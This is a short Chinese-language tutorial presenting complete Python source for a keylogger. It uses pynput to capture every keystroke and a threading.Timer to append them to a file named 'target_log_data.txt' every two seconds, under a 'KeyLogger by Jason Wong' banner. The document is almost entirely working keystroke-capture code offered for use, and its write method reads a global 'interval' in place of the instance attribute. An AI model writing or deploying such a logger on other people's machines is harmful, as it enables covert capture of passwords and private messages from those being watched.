Python实现键盘记录并周期性以追加模式写入文件

　　本代码用面向对象的方法比用全局变量来存储键盘记录要更加方便，同时本代码利用threading.Timer来定期执行文件写入（追加）的动作：

　　

from pynput.keyboard import Key,Listener
import threading
import sys


class KeyLogger:
    def __init__(self, interval, filename) -> None:
        self.interval = interval     #周期性将键盘记录写入文件，interval定义时间间隔
        self.filename = filename     #文件来写入键盘记录
        self.key_text = ""      #用来存储键盘敲键
        print("Begin to log keystrokes...")
    
    def key_handler(self,k):    
        try:
            k = k.char                 #对于非特殊字符，那么具有char属性，如果捕捉到异常，表明为特殊字符
            self.key_text = self.key_text + k
        
        except AttributeError:
            if k==Key.backspace:
                self.key_text = self.key_text + " "
            elif k== Key.enter:
                self.key_text = self.key_text + "\r\n"
            else:
                self.key_text = self.key_text + " "
     
    def write_file_timer(self):
        
        with open(self.filename,'a+') as f:
            f.write(self.key_text)
        self.key_text = ""     #每次将self.key_text的键盘记录写入文件后，该变量中的数据清空用来记录新的敲键
        timer = threading.Timer(interval, self.write_file_timer)
        timer.start()

    def run(self):
        with Listener(on_press=self.key_handler) as keyer:
            self.write_file_timer()
            keyer.join()


if __name__ == "__main__":
    banner = """
            ********************************************

            ***************KeyLogger by Jason Wong******

            ********************************************
    """
    print(banner)
    try:
        interval = 2
        filename = "target_log_data.txt"
        keylogger = KeyLogger(interval=interval, filename=filename)
        keylogger.run()
    except KeyboardInterrupt:
        print("Exit the program now!")
        sys.exit(0)